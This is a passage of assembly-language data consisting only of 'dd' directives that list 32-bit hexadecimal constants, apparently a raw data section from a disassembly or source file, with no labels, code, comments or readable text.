		dd 5601C06Ch, 23F03FF8h, 0D48A31BCh, 8F00E08Ah,	5FAF59C3h
		dd 7F2792h, 6A5B722Fh, 3A5A53A8h, 809823F2h, 0F9F24B04h
		dd 0E1001CD8h, 57745F8Bh, 0E8377C00h, 0E6E5F154h, 8225965h
		dd 7DE13200h, 4E43AFCh,	0A0DD8500h, 0EBEA20ACh,	47D60F82h
		dd 80DE8CF7h, 0B2DE3D81h, 0C800F555h, 0F8A30859h, 5195C0h
		dd 0EBE4CC91h, 0B9B20BCAh, 0B1DD980Bh, 784C8C49h, 15E00BAh
		dd 6D665AA0h, 0AE1E6516h, 605A2071h, 43085289h,	0C652002Fh
		dd 0AD2A908Fh, 47980EF1h, 7E60A102h, 0A3C15CCh,	36356C00h
		dd 2DD625D1h, 8AC92CBh,	0EC129D55h, 0CA5A9983h,	26AAA0FFh
		dd 36F9039Ch, 4D8C4A2Dh, 58BA1BE0h, 87E8130Fh, 3A9BC025h
		dd 51ADDBh, 96692F4h, 11C879AAh, 5EE7C700h, 0C57CB39Bh
		dd 1D4D0106h, 0B51743D0h, 534CEC23h, 5C444001h,	0B1F37DF4h
		dd 0EC995430h, 9A8C018h, 12EF84C6h, 14D1D500h, 22819D90h
		dd 1C92F2h, 0F443FC5Ah,	0C110C027h, 0E4008EEAh,	0B35DC793h
		dd 2B9563h, 97763383h, 5E57AC6Eh, 27003E79h, 0F64F0F30h
		dd 120DCFDh, 8FE5CFC8h,	40587063h, 0ED50E4FCh, 5302F899h
		dd 0A01768E9h, 3E629ABCh, 0FED7008Ch, 48A63ACBh, 0AB1CBBE9h
		dd 0EFC06CA3h, 0CF989D96h, 9601CDDh, 32B1F077h,	0D8A806BAh
		dd 0B4B0ECA8h, 83782Dh,	309BAFDCh, 6981EFB0h, 0FF65A9E1h
		dd 0E21180C4h, 0DD9A3E84h, 0C74FE286h, 0D32CC249h, 98B8D1E9h
		dd 0C04CD71h, 0BB55D5B5h, 58780986h, 0B3157F50h, 3A00F0CBh
		dd 9DA16AFCh, 2600EA95h
		dd 0E097494Eh, 0F44C0207h, 5B609BCh, 6481744Dh,	0D4262B04h
		dd 0DC09E2BBh, 60977125h, 44C526Ch, 0FC06DF98h,	760A253h
		dd 86D6C7A4h, 66F73C60h, 5E803B8h, 0EEC15063h, 1D2D83E5h
		dd 0E6113Ch, 7AD2F0A0h,	7949EADh, 73D5643h, 0F88EC09Dh
		dd 0F200BF3Eh, 0B503902Bh, 1EA7D7A8h, 0C0CAE8F6h, 0AF52FBBEh
		dd 0BB1F95C1h, 0EBC024D4h, 67545C75h, 803C5474h, 0B8230092h
		dd 0AE47DEB9h, 547B955Fh, 1DADEF00h, 3020D971h,	3EC2E664h
		dd 6D82BAEAh, 0FCD2BCF7h, 5E039C52h, 5C8A747Fh,	80FAE245h
		dd 5525560Ch, 0ACC8C0BFh, 4E968D21h, 0FA0913F8h, 0F493B9h
		dd 7C8B3DCEh, 42A4949Ah, 705A4BA3h, 48906702h, 60970ACAh
		dd 0C2D5F6Fh, 433AD161h, 8D00F8C1h, 4EFCCF55h, 1DA8141h
		dd 0BA49C2C6h, 80C38299h, 9109C848h, 60F92158h,	23D13854h
		dd 8700630Ah, 0B79AD252h, 0BCA9C3h, 4C53F405h, 64E56EECh
		dd 7521D100h, 52A8E1EBh, 0B9970051h, 0AB320BBh,	99001633h
		dd 13E43989h, 1EF1D487h, 1F349858h, 8F1D0140h, 52DC217Dh
		dd 0F5C0B988h, 1201B7D7h, 0E3F4D3CDh, 29818518h, 0D4255E9Eh
		dd 0D571C826h, 4C00E95Fh, 4C460BEBh, 5DA500AEh,	5CC40712h
		dd 0CF04C33Fh, 55692978h, 0B2E28F80h, 0D199008Bh, 82727991h
		dd 0C50321F8h, 968393C0h, 0FE80CC11h, 3D1DF571h, 6F0674C3h
		dd 3053498Ch, 8938653Ah, 0D73126Ah, 0ADF1715Ch,	7EB044Bh
		dd 966A9A89h, 7C8013h, 0C1B00D18h, 0A746ABE7h, 5CA2DF00h
		dd 96F509DBh, 3D1E479h,	0EAD708Fh, 2921C38Bh, 0F6BB0893h
		dd 3084BD90h, 427F48C4h, 0A924F952h, 12C62821h,	0FB4D106Bh
		dd 888E9588h, 5789CA80h, 0FF444908h, 30228481h,	84342CCh
		dd 10970364h, 0D253846Dh, 39422F48h, 2159240Ah,	1B12D755h
		dd 890C4010h, 444C0845h, 228407D8h, 31420BF8h, 11DAA511h
		dd 4811DEF3h, 81D210Fh,	0DF91DCF0h, 7AD5E107h, 4998F152h
		dd 1C67D81Fh, 374DF207h, 560C0EAh, 0FFC91BAh, 0DD0AA668h
		dd 0AEE17580h, 0AD094608h, 7713D67Ch, 0EE1D0180h, 260001E9h
		dd 8FC55976h, 0BED053h,	0CBE0096Fh, 773C077Ah, 5E951E00h
		dd 3FE86654h, 0B58600D1h, 29BEDEBFh, 71038E96h,	0C1EEDF01h
		dd 0C613C82Dh, 0E1B23EB6h, 6D4CFD83h, 10E0042Eh, 5601834Fh
		dd 0C56CA08Dh, 91D8BFE2h, 0E0867ED0h, 89B803h, 43FFE47Dh
		dd 879A6853h, 0B9B4CE03h, 0B1F4C844h, 6C1BC45h,	92EE6F70h
		dd 0EFB20064h, 0CDE8E457h, 0D7382B1Ah, 26C201A3h, 0A4CA9D01h
		dd 3EF44D0h, 6B233503h,	8CC0BB76h, 0BD58597Bh, 60E2004Dh
		dd 19AAFDAFh, 57AE0068h, 71857EF1h, 7301DE09h, 67AFBC37h
		dd 94205EBBh, 4F8A0011h, 0FE137745h, 2CFCF01Ch,	81002374h
		dd 921B404Bh, 54446658h, 9B980Ah, 246C8D8Bh, 3D59E467h
		dd 0E1CABB01h, 80AD6098h, 0DD7C60h, 0EA011083h,	0A6B88F9Eh
		dd 71485900h, 30E81260h, 0D6F61419h, 461C9892h,	0E93E8636h
		dd 8A001076h, 5C614854h, 14B1A26h, 0E005A1DFh, 40DD887Bh
		dd 5AB270A8h, 5618C900h, 614BD3CAh, 0C6E80F87h,	9180E0C8h
		dd 2BF01247h, 0B6044372h, 137B5871h, 0C7CF7E80h, 0C3F20054h
		dd 5E41205Dh, 8E1F9F85h, 59C06ADBh, 0EB667713h,	3B742Dh
		dd 0A973F4B0h, 8F44D029h, 1C2E017Eh, 0A3057FB2h, 0DC00CA67h
		dd 0EE18717Ch, 0E4350049h, 0B70416BAh, 0D21DE98Eh, 0A0805D85h
		dd 0C982D57h, 79A60041h, 497D10D3h, 4800E3A5h, 1BB17318h
		dd 9BA44EAh, 27E5858Ah,	2520640Eh, 87B8D0E7h, 79F62407h
		dd 95D23ECAh, 28584989h, 3F0DF8h, 459FBEFCh, 918FB1A2h
		dd 0ADE46D1Dh, 882D71C0h, 1EC12976h, 0B07AA485h, 0BEF43738h
		dd 7FE2B100h, 5CF97E5Dh, 0DFAB0019h, 9B702F43h,	0CA01D912h
		dd 0A28498FBh, 8DEC30CEh, 5F381D6Bh, 4C5D4008h,	0AF21B8C1h
		dd 0E8A2C901h, 95E012B0h, 7420B9C9h, 0DE0301D7h, 5F9AD53h
		dd 0A76EEC99h, 0EC02C180h, 28773056h, 0A49909C9h, 31428D01h
		dd 720A302Dh, 21533C0h,	91B4C3D4h, 1040D23Bh, 0DC0FDAEAh
		dd 60A880A9h, 0C563748h, 25F70047h, 74E45CAAh, 0B7002D7Bh
		dd 0A2A9FE60h, 8D9BF5h,	1BED9F44h, 45A7EE99h, 492BE800h
		dd 0F65BC620h, 0FF40015h, 3E90DCFCh, 0B5006FFDh, 43B3D337h
		dd 15DD65h, 599A10CBh, 29E603D6h, 0CAD4A707h, 4680F90Bh
		dd 16DECD3h, 44D520F1h,	703CBF07h, 900833Ch, 0DC52A09Ah
		dd 7D20736Ch, 0EE4300ACh, 28230C7Bh, 3018567h, 0D45C3722h
		dd 0A3E807F3h, 0F9D500C1h, 68DE9274h, 5701C50Fh, 49A7ED5Eh
		dd 90E450C6h, 0B5B301B9h, 24BB1333h, 81AEC8C5h,	0C84A2B00h
		dd 9B1FFBE7h, 0D9BA09B9h, 438F557Fh, 6C11760h, 0E50062ACh
		dd 9F1A0A0Eh, 3A2A6BC8h, 6F01D5AAh, 1E369071h, 0CE3080A1h
		dd 5E96BD77h, 9329500Ch, 0F58501A9h, 8603BB5Fh,	0E801D034h
		dd 9A70ED07h, 95E0C623h, 3E6F891Fh, 9E00C457h, 0B7A864F4h
		dd 743D9BA2h, 22007E7Ch, 0CEFA53AAh, 24A5F42h, 5773E02Ah
		dd 76612FD9h, 0C018F87Dh, 0DF759600h, 35AEF961h, 2F9F00A8h
		dd 3A9053B8h, 0CE0E1C80h, 4EA384h, 0A1BCC28Ah, 102F265h
		dd 0E36EB8C9h, 0D45E9F9Bh, 27015A0Ch, 5FED4032h, 2EC40406h
		dd 0CFBB009Dh, 9C8769F1h, 5A003CC0h, 290B8F6Fh,	3DB5D3Fh
		dd 0C6BF1EFAh, 96E0FF73h, 6118D04Ah, 368A1567h,	17000E7h
		dd 580B563Fh, 0BC7E1EA2h, 31B4AA1Eh, 0B508D083h, 2D9DD0D1h
		dd 9FCB0053h, 0E5E88C36h, 0DFFE2C2Eh, 76C2CF00h, 0D969A225h
		dd 7D2A0093h, 0B2D09C23h, 10058E7h, 0C0AEC654h,	243409A7h
		dd 26F4F9B3h, 0ADDB0232h, 94402D10h, 9800660Eh,	0D458352Bh
		dd 4871C20Ch, 19603F26h, 314EC57Bh, 75827200h, 49C088E5h
		dd 0DF7329h, 0A2F4F0E4h, 0CEB01E3Eh, 0D91C667Dh, 0BB80AC25h
		dd 7BC58F05h, 0D5600E1h, 21036D17h, 0B6000EF1h,	26EAB5A0h
		dd 0E3AF8802h, 422CCCh,	0DF89D8B0h, 6BB230A6h, 0D4214900h
		dd 639F64F2h, 587C01D6h, 1B2CD761h, 6DF0CBC6h, 0C8012AE5h
		dd 9993027Ah, 8340014Ch, 1E96662h, 0E2CD05DFh, 500DFCECh
		dd 0BC4E24E0h, 10EFDB07h, 0E060A78Ah, 488F7A5Ch, 5E00EDAFh
		dd 3F1AFB7Dh, 9300E6DFh, 6AB6B01Fh, 8780F0h, 554FBE35h
		dd 5F219107h, 0B82B760Ah, 103FE0A3h, 51A0D4CAh,	7C9006E9h
		dd 0C6A80C00h, 89DEFE17h, 7BD50A82h, 0FD8B0E4h,	4D00B423h
		dd 0C6601620h, 12C02448h, 740082D2h, 0A9DB4764h, 0B8F091h
		dd 3992C41Dh, 0C6283D0h, 0AFCE4500h, 0F647C363h, 55BA004Fh
		dd 4156398Ch, 0D100A021h, 1BC91342h, 0E4FC085h,	0E03B75DAh
		dd 98B835A1h, 4C9BC4C2h, 0C9F27E00h, 0C312AB03h, 3DB40710h
		dd 4AAF1720h, 0DB4306A6h, 0FD01E0A1h, 85DE34ACh, 60D03B4Bh
		dd 9B40E0Ch, 0C2C60A8Dh, 20002C6Bh, 9DF870BEh, 0EDD4F9h
		dd 0AAC982E7h, 0D5041FB9h, 0F54ACE00h, 0C20D9AE5h, 0DC6800B2h
		dd 0AC3B8596h, 0A005465h, 0EA24347Ah, 7C9E20E5h, 74F000CBh
		dd 40C07D9Ch, 8E004B6Ah, 971E3C12h, 5BED781h, 322BEDA2h
		dd 1700C002h, 0A5007BFBh, 0C51B849Fh, 70080D63h, 0BA92265Ah
		dd 64BB01ECh, 0DCCA38F5h, 1E07C4BCh, 0C137573Ch, 4A9DFA10h
		dd 77F800DAh, 6AAA64AEh, 0D8A0A5D7h, 7200508Dh,	0FA134DD4h
		dd 3C5362h, 0B628C0A7h,	36266BFCh, 0AC098003h, 0C8FDE9DBh
		dd 3CF083B2h, 0E877CB19h, 6CEE00D0h, 28923B32h,	6F38C125h
		dd 0B07F801Eh, 38E2D920h
		dd 2BA100F0h, 392F5771h, 5D98F386h, 0E4032300h,	0D7186102h
		dd 7E84005Ch, 659D0762h, 7500BB12h, 8368CD20h, 261C56h
		dd 0E6183C96h, 85DB22A5h, 2747BE00h, 7557DDB9h,	29AF1E8Ah
		dd 0FA1DC75Ch, 0E411A0C7h, 4400ECA7h, 6446BC06h, 0B098845h
		dd 0D8551331h, 0D3A86420h, 7500F8B4h, 0C1D784A3h, 0F8B9FD8Eh
		dd 8AD4015Eh, 58A12F79h, 2972EC47h, 0E2061A0Fh,	1FE3E5C5h
		dd 3E7195C0h, 28E52C61h, 0A016D0h, 4910671Ch, 9B001E43h
		dd 1585D935h, 1EEDB639h, 826FF3CFh, 0EB4A49DAh,	90D18460h
		dd 34390F1Ch, 4EC7875Dh, 9AFC5BDDh, 8CFB0168h, 157ABC18h
		dd 0A27F4E8h, 6E3C8900h, 0ED8B21DBh, 0E30B01A9h, 3985A51Ah
		dd 0B5948115h, 0DC4B6BD0h, 0E56A9C0h, 0F73189E0h, 0B1F98401h
		dd 6DE860B9h, 0CB97C707h, 0B490C034h, 13AB585Fh, 64DB2Dh
		dd 76208970h, 6600F9E2h, 0A7F51DB9h, 686CC6h, 0B7B219Fh
		dd 0DADBFBB6h, 318C6A01h, 38A269DEh, 0F257E4h, 461A7995h
		dd 0BB9C77AAh, 0C573610Fh, 0AB007C30h, 7DC9D6F0h, 0F776E6h
		dd 69B43D46h, 2B4BC277h, 4DDBAA00h, 0F8620C02h,	0AC5503D2h
		dd 0B0830422h, 0D0268FF0h, 0DB53A403h, 0E87ECB13h, 0A0E13Dh
		dd 35EF491Fh, 0FA390EB3h, 0D008C200h, 80DA9713h, 80096054h
		dd 0AEF7DF17h, 7A109100h, 0C46EBDF6h, 0C0200F51h, 8E201EB7h
		dd 4DD96C34h, 6B24F117h, 1DF709h, 0FD52D6F8h, 15A200EDh
		dd 0E470BACAh, 43008D9Eh, 125C6DB4h, 92C3C82h, 0A628DDF2h
		dd 0A47C3020h, 4800C885h, 1A965372h, 0B09F2644h, 90B67E14h
		dd 0A3A11F8h, 0A77900E7h, 0E48F1030h, 0F0D15CB1h, 22333F00h
		dd 23D4C9E8h, 0AFDB5200h, 3E910E9Dh, 187100C7h,	687D60EBh
		dd 0F900D948h, 80D751A1h, 93EE28h, 41A672CCh, 378EEDA3h
		dd 0A20C8A24h, 78CBD800h, 0B0F8B72Ch, 0D2360300h, 0F98073A5h
		dd 4E104Ch, 20AAF606h, 1347C7D7h, 8B0AB4h, 49A01675h, 0BEECB7F0h
		dd 392BB303h, 9B759D26h, 0B04ED845h, 0D4AE0005h, 0A5F55913h
		dd 0E4E17E2Bh, 0A300E238h, 2A231C87h, 39EFE5h, 226C97C4h
		dd 19FB4A95h, 36628A77h, 431FD521h, 0E7760035h,	6989439Ah
		dd 277DFE7Ah, 0F5EC1A00h, 7DFCE345h, 0D51B00ADh, 0F87CC344h
		dd 3E008F88h, 0D5C56C5h, 3E302999h, 0FE8067DCh,	0DEC837ABh
		dd 413A22EDh, 17F280C0h, 0E4C3AE91h, 37C765Eh, 9A4E30B6h
		dd 927BCC25h, 0D6BED1Dh, 0D1D72D80h, 4C7FCB24h,	0E605DAECh
		dd 64E28Fh, 0B601308Ch,	0C1ECFAA7h, 4C385B60h, 60979EF5h
		dd 83C211C9h, 0E53856D6h, 0A54282A7h, 801C7923h, 59822BD2h
		dd 9689094Ch, 0E8012098h, 70A8D43Eh, 121ED500h,	2604E22Eh
		dd 3CD08CCEh, 0EB2761h,	40AC973Ch, 217971ABh, 0F8209900h
		dd 0AFFD0E25h, 649D3ADFh, 0A1F17A87h, 0A3BFA094h, 4D1FDC2Fh
		dd 0ED8E0E04h, 248E60E1h, 0C14501E8h, 3AC68770h, 0C94420D0h
		dd 0BA29750Bh, 0F11400D2h, 71241A61h, 0F752007Ah, 54A27B0Ch
		dd 0E14CDAAAh, 909E0070h, 0D4BD4020h, 1B0831CFh, 0FD1087A4h
		dd 2B3204Dh, 3230BCB0h,	8FB730F0h, 911B0097h, 0D94D1661h
		dd 2072BC19h, 27718201h, 3705549Dh, 1C6DB060h, 82775AC4h
		dd 512FF779h, 0AF2AEEE0h, 3A7BD800h, 0F0DEE4BAh, 949A016Eh
		dd 1D561079h, 818EEA4Dh, 981CF880h, 83E67BCFh, 0A0186300h
		dd 68B57201h, 22FAEAh, 3B4673CCh, 991551A3h, 9F588812h
		dd 81CE1C00h, 58ABB309h, 5F00C4BFh, 6A14E5Ah, 940041B8h
		dd 43BCE703h, 59D1Ch, 8AE1A42Bh, 5EDB97D0h, 0E229B500h
		dd 0ACCC41EBh, 0DDE7022Ch, 85A2799Ch, 3AB838C0h, 54E872F4h
		dd 368D010Fh, 2D2BE03Ch, 0EB61B0h, 880CE30h, 0ED388C99h
		dd 1AB97500h, 0C8EF9D6Eh, 760F0726h, 0B0843A2Ah, 44A177F3h
		dd 0B0890300h, 2D106346h, 79F80B19h, 1809473h, 4E9AB9FAh
		dd 48029530h, 0C7F358h,	0E2DCB45Eh, 546E440h, 50008677h
		dd 0F2691309h, 24E02Ah,	0B495E30Ch, 67B07A5Ah, 0A3FAA50Eh
		dd 79F4CCE9h, 545E00F3h, 5C32885h, 9B01B99Ch, 0AB1939C1h
		dd 9D046CAh, 91B000CBh,	84A42904h, 3E005701h, 0B1E3F6D5h
		dd 3A52E8Ah, 38E65EABh,	9FE06EBCh, 0A4B1A47h, 2CBDB440h
		dd 16140Fh, 0CB80A329h,	3DD15E61h, 5A9D6200h, 47B686A5h
		dd 1CE40766h, 60B417D2h, 409097EEh, 0D98F22C0h,	313AE5Bh
		dd 0D2DF4EC5h, 0D7F01492h, 59012FB0h, 29E26453h, 318185D1h
		dd 0D024C00Ah, 6C6A831Ah, 0B8A280A9h, 2278E0h, 10FC4A43h
		dd 0DF293983h, 11075000h, 0C6BE0494h, 4E6E0089h, 7B5DE3C2h
		dd 2B00B190h, 182C0F62h, 0A4ACF7h, 696371EFh, 0E64F3C04h
		dd 31A25800h, 832AEBCh,	2FEF005Eh, 9CC5A4A5h, 36009340h
		dd 638258D8h, 542AA6h, 0CE35F4Eh, 0C69D1808h, 8FD2C03Dh
		dd 618B7A80h, 0D0122F34h, 40BD460h, 0C839961Ch,	60428746h
		dd 5BACD3F6h, 4892E300h, 28D6F82Bh, 0DF940093h,	0AE63B68h
		dd 0D307A386h, 792EF177h, 4CC047E4h, 4E2244h, 286DFECCh
		dd 72628832h, 6AA1509Ah, 0E33EC466h, 13A12E3Eh,	2440BD26h
		dd 4392CC30h, 13E47462h, 406FA61Ch, 87060138h, 0A0037AEh
		dd 0DDB446FAh, 4CA8E48Eh, 480318E9h, 22C3101Fh,	61018179h
		dd 5BAF0AE1h, 6180540Fh, 7E90BD21h, 614839CCh, 0EA651860h
		dd 2E6B9340h, 1F4195Ah,	0F5482F12h, 96E8707Eh, 0CD9D470Ch
		dd 4628F4h, 44AE8504h, 48271167h, 26960D00h, 381282DAh
		dd 179100DEh, 0D42E4A50h, 7E0056E9h, 0E2D28630h, 2D5AB2h
		dd 0C95C0F05h, 8CF9A3F2h, 58BD2C02h, 0E0F5436Bh, 0CC4652h
		dd 0E961AF12h, 0EA1C6D79h, 0B153800h, 90B71FE5h, 0D9571D13h
		dd 789D008Dh, 0F7587C23h, 0D67D000h, 1209DA5Fh,	3F5E0A18h
		dd 881969h, 95A6FA7Eh, 733FBD4Bh, 458D8062h, 145BEB35h
		dd 29BA0005h, 7599D4E4h, 7B004DCFh, 4C249F5Ch, 0F0702Dh
		dd 0C23FFC19h, 3148CDECh, 980E8716h, 0B3E25000h, 0BA4FC68Eh
		dd 4BA10050h, 0CB199744h, 23099A54h, 81366606h,	94F1A657h
		dd 2FDD3ECh, 0CBA222DEh, 9EC01D6Eh, 2D0784F5h, 0D0EED13Ah
		dd 0FB488973h, 504C0F7h, 71ED0759h, 330B8A34h, 0C5C02BE8h
		dd 8B00955Ch, 3FCBCD99h, 24FD7B62h, 17B1h, 8CFC80C7h, 0C9004393h
		dd 9D11605Ah, 7DE0342Dh, 0AF02026Bh, 0E9E2CC3Bh, 0D4C354E1h
		dd 95031BF6h, 62E8C7B3h, 34BAB080h, 299E0552h, 816886D0h
		dd 0DA0967D8h, 0E41FFCC6h, 0B4159FC4h, 0E8F3108Ch, 0F45EBA03h
		dd 22806F8Fh, 0CD00B99Bh, 819E67EFh, 75720A6h, 9275026Bh
		dd 0B3D310C4h, 473ACDA8h, 0A905800Dh, 96F3CB4Bh, 6BF71643h
		dd 0AC8001DAh, 40A88252h, 4B9BF288h, 8FBAE61Eh,	4AD1CB83h
		dd 584C8E5h, 2528002Dh,	2956DAB7h, 41C59FF9h, 0B8C0D7E8h
		dd 71504832h, 1484010Ah, 0AAC58E91h, 0EC2AF941h, 320BA07Fh
		dd 2B0E15h, 0E7F124D4h,	7CEA1EAAh, 8E5C0D0h, 0A970BA84h
		dd 65503203h, 0C1E0FF87h, 0CFD00D8Fh, 0B28B001Dh, 0D8C3BA64h
		dd 0B500263Dh, 0E5703E8Dh, 428C9Dh, 0C5776FB8h,	620C5A32h
		dd 279B1C00h, 65B4DC2Ch, 0EC2A7184h, 0CAED0058h, 0EE42B973h
		dd 31308B6Ch, 7AD11923h, 0C920004h, 0C7152BE9h,	9F16F84Eh
		dd 0D18A0DDh, 0F285119h, 55A306C1h, 26746DA0h, 0F70759B0h
		dd 8B0BB5A2h, 6E282Ch, 0D72FDD45h, 0E7B20410h, 76205D05h
		dd 9CC0141Fh, 1C40A9D1h, 80E285E6h, 36550E84h, 9E17B9h
		dd 0C49A9077h, 84D046C5h, 168EE0h, 1C2177A7h, 0DA8DDD6Eh
		dd 0F101F600h, 585BC4E5h, 65110089h, 78D58AEBh,	0E600BA37h
		dd 0FE4D14C7h, 120AAC86h, 5500Ch, 0BF3E7F94h, 0C63AE1E7h
		dd 0D62D806Ah, 0FC513FD0h, 0D54C007Dh, 13CA4603h, 0D900B5E6h
		dd 0C1B62790h, 1D34262h, 0F84471F9h, 0ECE2FE8Eh, 0E50F2A11h
		dd 0C3339D52h, 0A04AA993h, 50823FBh, 0E43D1F03h, 830490F2h
		dd 200922Ch, 338A60BCh,	0E040A62Bh, 0B8DF704Fh,	0D6801323h
		dd 312C40BFh, 32E6A108h, 0E4C7407h, 0FC322C87h,	8BF86859h
		dd 0D7CF264Eh, 4F9300A9h, 0DCB33E6Bh, 1EBCBF03h, 0E690AD3Dh
		dd 184BE0A1h, 1161DFE1h, 79000EEDh, 35729F3Fh, 3EA903h
		dd 501ED6DAh, 0DB847CC6h, 0CC449100h, 88F01D76h, 0D52905A7h
		dd 814DA862h, 87F42274h, 15C85A9h, 487BC1B0h, 60C512E4h
		dd 0D8A08014h, 0D4EAE56Bh, 6A358F15h, 0F2750084h, 364E9523h
		dd 54B2ADh, 0A0AFDC40h,	455D7B0Bh, 86C6A9CEh, 1A39EAECh
		dd 3180E32Eh, 9E003443h, 921152AFh, 3351BBh, 1463591Eh
		dd 0C4A60EA0h, 22429CACh, 318BC43h, 0AE1251ABh,	0C441AA6Eh
		dd 2F06089Ah, 0D51CC865h, 0CFCC2D47h, 0C03A683Eh, 0AEEF9EA1h
		dd 891E84Fh, 0B5B00CC7h, 7D93A374h, 49BE008Fh, 7FDA25AFh
		dd 304B4C9h, 4E3344D4h,	7660088h, 0B6BC12ACh, 0B0627409h
		dd 7400CBB0h, 84FB49C7h, 9BE615h, 0B251DF8Ch, 85B4E061h
		dd 21985200h, 74A14BCDh, 2A49092h, 0C4A0DC04h, 9C811340h
		dd 0BC1E94h, 6718CDC6h,	8B1095h, 2334C0B8h, 0DDC99A00h
		dd 4F2D69E3h, 12FF03C7h, 78DB66C3h, 0CE3B7E90h,	4068D505h
		dd 8C42865Ah, 0A3398798h, 0E05CD9D0h, 0A8D1CE67h, 60EDD84h
		dd 0F1DC3781h, 580C2A5Fh, 2178ABC7h, 0FC66051Bh, 803FE0FAh
		dd 217E3398h, 209020EFh, 58272400h, 0E38C84CEh,	0A9502479h
		dd 0DEAD802Ch, 2AE084Dh, 844C2E58h, 0D001C3B8h,	68AA3E50h
		dd 19AF1124h, 2E3EF839h, 95032080h, 0DC91EB1Ah,	2D386500h
		dd 48C71B78h, 0FE656h, 0C4E0DEE3h, 9543E598h, 46AFD800h
		dd 0AAC9A01Fh, 96D7EEEh, 2D83EB36h, 0C26F4300h,	0A0BAF744h
		dd 903AA305h, 487E395h,	9E6CBB30h, 0D3CA0013h, 1787C12Ah
		dd 0D107B338h, 0B78105E5h, 84CA690h, 0E7730F16h, 9180AFECh
		dd 60260245h, 15CF3700h, 7220257Ch, 0EEC7FAE1h,	4C3600CEh
		dd 238CD45Fh, 51F02969h, 0AE0452B8h, 0DE2CAA57h, 0B1F8E0h
		dd 2772DF39h, 520B7E5Bh, 14D53314h, 74EA2DE0h, 29B705E6h
		dd 0F8B600DEh, 0C757A1B2h, 26708100h, 6405196h,	0B93C00CAh
		dd 910CC8E7h, 0DD5499B8h, 2E00AAF8h, 9DB33958h,	9095A2F3h
		dd 26561240h, 0BD7C0003h, 4B149677h, 353A0100h,	7F09BE18h
		dd 10E50062h, 3187EF0Ch, 4000B806h, 6AC21593h, 2EE875h
		dd 4680D843h, 593CA64Fh, 0A7038806h, 2CB8C636h,	0CCE439h
		dd 0C179D1A1h, 91240B2Dh, 2080F451h, 545FA82Bh,	410C1C27h
		dd 0F7A5C00Eh, 0D4A92566h, 9BB3CE04h, 0F0C076C8h, 0ED6634Bh
		dd 0C71A33F2h, 7EB820A0h, 4000EE32h, 0A307BB5Eh, 0E1BCDAh
		dd 0B38E795Bh, 5634642Dh, 80A0BF3Ah, 52AEC212h,	732BD568h
		dd 3E5E00AAh, 729A62F3h, 0B6001AB5h, 14A1F1D4h,	46FB9C9h
		dd 479F97E1h, 61A4D0D5h, 2800980Eh, 0E5F4CA1Ch,	3092A1Fh
		dd 55CEEA47h, 36D02948h, 0BA741781h, 5774D105h,	7C801C7Bh
		dd 486E398h, 0D5F4C845h, 10586222h, 8202E12Bh, 0F2B5A8D2h
		dd 6CD4608Dh, 0AF2E2CD8h, 4C803D82h, 6AF6119Fh,	4FE2A80Ch
		dd 711EA500h, 42DDA7E5h, 803A4CE6h, 6530CFE0h, 0B40CA200h
		dd 0A485ED1Ah, 0ACF61813h, 0C45F2817h, 0A64C6A71h, 0B40A0014h
		dd 386482ECh, 2CFB3C89h, 4005460Bh, 0D7FC87h, 7C5752CEh
		dd 2EC59D02h, 68948B3Dh, 742DC938h, 51431EE3h, 0B7BDC00Fh
		dd 5910509Ch, 0BA8C400h, 0C0A20937h, 1112142Fh,	83079CF7h
		dd 0B32770FBh, 86B3C605h, 2562880Ah, 0C020CD7Bh, 16D3DE00h
		dd 8A1EC1D6h, 88C20038h, 81105B39h, 0CC00F2C7h,	512CD834h
		dd 2553218h, 473CED1h, 0B0803062h, 23FC0706h, 6DE03504h
		dd 0CCC4BF17h, 0FCF7CD8h, 553D17Eh, 1E63F461h, 0F614E428h
		dd 0C200BCB0h, 6DD78078h, 16A2CD33h, 0A9DCF16h,	64847DA8h
		dd 48C8348Ah, 0BE93020Fh, 0F86BB7B8h, 107568C8h, 0B47BD604h
		dd 0ECAC0F5Ah, 91189800h, 216AB11Eh, 19235109h,	0EE5CC163h
		dd 2F06730h, 0C11B268Bh, 84C46415h, 5938A80Bh, 754201D3h
		dd 8C66ED0Bh, 1FC4502Ah, 0C370F653h, 0FECC4FCBh, 3AB125B3h
		dd 977024AFh, 8F427500h, 9E2611Ah, 93A40BCAh, 8424ACA0h
		dd 3CCC600Ah, 29A76F5h,	15F7451Dh, 0A4A099BDh, 0D44B055Ch
		dd 5D3FB800h, 0EFA4EB64h, 0BE524892h, 0C0559E1Eh, 3A5B3DB4h
		dd 253E4562h, 4BB8A4h, 0C216600Ah, 5B55954Fh, 41481C7Fh
		dd 1E394096h, 8510B95Ch, 4CF0701Dh, 83F50B0h, 0A40313BDh
		dd 0F24D7601h, 34343228h, 0DE5C009Ch, 56A89026h, 9DF864A9h
		dd 0CD1A4601h, 5238D54h, 0CC517AF1h, 684B8F19h,	7853120Bh
		dd 0B4CC7025h, 571EE510h, 803B160Ch, 0DADD7DC9h, 90BB5Fh
		dd 0BD9D0B2Bh, 8B6A5537h, 0E93D051Ch, 59D01FC5h, 0F774A6C3h
		dd 49B2C420h, 0FE42009Ch, 0F6E7AE25h, 22FEF29Fh, 0F04C8097h
		dd 0E52379h, 0EC7C21A4h, 0E9833DA6h, 0D9BA9401h, 7D448E57h
		dd 71B39B60h, 69EB1F59h, 9B1600B4h, 0AC2667C4h,	6D00D37Ah
		dd 0D736916Fh, 412FDDh,	1FAA5EB9h, 0F235DBD6h, 0BF0D8B01h
		dd 5025D9C9h, 663CE889h, 29488078h, 0F75C76DAh,	0C7A70060h
		dd 95766143h, 0CB315813h, 0CE5C405Bh, 9F990882h, 66D64E00h
		dd 39A91F6Dh, 438E1F77h, 46C6EA0h, 0ADECE14Dh, 0EEB00E8h
		dd 4FEFC08Ah, 0A8000D2h, 47D4F350h, 500E66Ch, 2C8F1635h
		dd 0A957F40Bh, 206183ECh, 927A20h, 0FAC24622h, 47B5F5AFh
		dd 34A55Ch, 11A24FA6h, 30DAEF4h, 0A85DEB1Bh, 63905B3Eh
		dd 7AECBEDDh, 10D23100h, 9FCAF648h, 0FAFE655h, 3A565C32h
		dd 0C41A7CA0h, 0B80011BEh, 0E7B1E8A5h, 0F2A0B48h, 67D885D1h
		dd 9BE0680Fh, 25F8087Ah, 6DD6FE1Ch, 0A4400DD2h,	77B35DAEh
		dd 970B005Ah, 42CBE840h, 0B613D335h, 8000846Dh,	0C6F2691Eh
		dd 1975129Bh, 8DC80043h, 2454C33Ah, 1BC8CE00h, 0A3BF59C2h
		dd 459C05EDh, 0C1B30798h, 81D7AA0h, 487D002Dh, 0E54EEDF2h
		dd 6D7541BFh, 384C9A2Ch, 910E43h, 5A941660h, 134FB962h
